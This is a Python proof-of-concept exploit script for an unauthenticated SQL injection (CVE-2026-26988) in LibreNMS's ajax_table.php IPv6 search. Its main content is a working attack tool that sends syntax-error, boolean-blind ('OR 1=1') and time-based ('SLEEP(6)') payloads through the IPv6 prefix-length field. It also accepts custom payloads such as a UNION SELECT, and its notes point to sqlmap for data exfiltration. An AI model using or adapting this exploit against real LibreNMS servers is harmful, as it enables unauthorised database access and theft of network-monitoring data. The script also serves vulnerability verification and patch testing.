#!/usr/bin/env python3 # Exploit Title: LibreNMS ajax_table.php IPv6 SQL Injection # CVE: CVE-2026-26988 # Date: 2026-02-20 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://www.librenms.org/ # Software Link: https://github.com/librenms/librenms # Affected: LibreNMS <= 25.12.0 # Tested on: LibreNMS 25.12.0 (PHP 8.1 + MySQL) # Category: Webapps # Platform: PHP # Exploit Type: Remote SQL Injection (Unauthenticated) # CVSS: 9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N # Description: Unauthenticated SQL injection in ajax_table.php when search_type=ipv6. # The ipv6_prefixlen value is concatenated unsafely into SQL allowing # arbitrary query injection via single-quote breakout in the prefix part. # Fixed in: LibreNMS 26.1+ (commit 15429580baba03ed1dd377bada1bde4b7a1175a1) # Usage: python3 exploit.py [--test] [--boolean] [--time] [--payload "..."] # # Examples: # python3 exploit.py http://192.168.1.50/librenms --time # python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT @@version -- " # # Options: # --test Basic syntax error test # --boolean Boolean-based blind confirmation # --time Time-based blind confirmation (SLEEP) # --payload Custom injection string after the / # # Notes: # - Most effective when ajax_table.php is unauthenticated (common default config). # - Time-based is usually the most reliable detection method. # - For real exploitation (data exfil, etc.) extend with sqlmap or custom payloads. # # How to Use # # Step 1: Run with --time to confirm vulnerability via delay: # python3 exploit.py http://target/librenms --time print(""" ╔══════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ CVE-2026-26988 - Proof of Concept ║ ║ ║ ║ ║ ║ Author ............ Mohammed Idrees Banyamer ║ ║ Country ........... Jordan ║ ║ Instagram ......... @banyamer_security ║ ║ Date .............. February 20, 2026 ║ ║ ║ ╚══════════════════════════════════════════════════════════════════════════════╝ """) import sys import requests import argparse import time def send_request(url, payload): start = time.time() data = { "id": "address-search", "search_type": "ipv6", "address": f"2001:db8::1/{payload}" } try: r = requests.post(url, data=data, timeout=15) elapsed = time.time() - start return (r.status_code, r.text[:400], elapsed) except requests.RequestException as e: return (False, f"Request failed: {e}", 0.0) def main(): parser = argparse.ArgumentParser(description="PoC for CVE-2026-26988 (LibreNMS SQLi)") parser.add_argument("target", help="Base URL of LibreNMS (e.g. http://example.com/librenms)") parser.add_argument("--test", action="store_true", help="Basic injection test (causes syntax error)") parser.add_argument("--boolean", action="store_true", help="Boolean-based blind test (true/false)") parser.add_argument("--time", action="store_true", help="Time-based blind test (SLEEP)") parser.add_argument("--payload", type=str, default=None, help="Custom payload after /") args = parser.parse_args() base_url = args.target.rstrip("/") + "/ajax_table.php" print(f"[*] Targeting: {base_url}") print("[*] Using search_type=ipv6 → vulnerable ipv6_prefixlen concatenation\n") print("[>] Sending baseline request (no injection)...") code, text, elapsed = send_request(base_url, "64") print(f" → Status: {code} | Time: {elapsed:.2f}s | Snippet: {text[:120]}...\n") if args.test or not (args.boolean or args.time): payload = "64'-- " if not args.payload else args.payload print("[>] Basic injection test (expect syntax error / 500 / error message)") print(f" Payload: address=2001:db8::1/{payload}") code, text, elapsed = send_request(base_url, payload) print(f" → Status: {code} | Time: {elapsed:.2f}s") print(f" → Response snippet: {text}\n") if "error" in text.lower() or "sql" in text.lower() or code in (500, 400): print("[!] Likely vulnerable — syntax error / SQL leaked!\n") if args.boolean: print("[>] Boolean-based blind test") payload_true = "64' OR 1=1 -- " if not args.payload else args.payload print(f" True payload : /{payload_true}") _, _, t_true = send_request(base_url, payload_true) payload_false = "64' OR 1=2 -- " if not args.payload else args.payload print(f" False payload: /{payload_false}") _, _, t_false = send_request(base_url, payload_false) print(f" → If vulnerable, true should return results, false should return empty/different.") print(" Compare response content manually (or length/status/code).") if args.time: print("[>] Time-based blind test (SLEEP)") payload_delay = "64' OR SLEEP(6) -- " if not args.payload else args.payload print(f" Delay payload: /{payload_delay} → expect ~6+ seconds") _, _, elapsed = send_request(base_url, payload_delay) print(f" → Response time: {elapsed:.2f} seconds") if elapsed > 5.5: print("[!] Vulnerable — time delay confirmed!\n") else: print("[ ] No significant delay — may be patched / WAF / not vulnerable\n") if __name__ == "__main__": if len(sys.argv) < 2: print("Error: Target URL required.") sys.exit(1) main()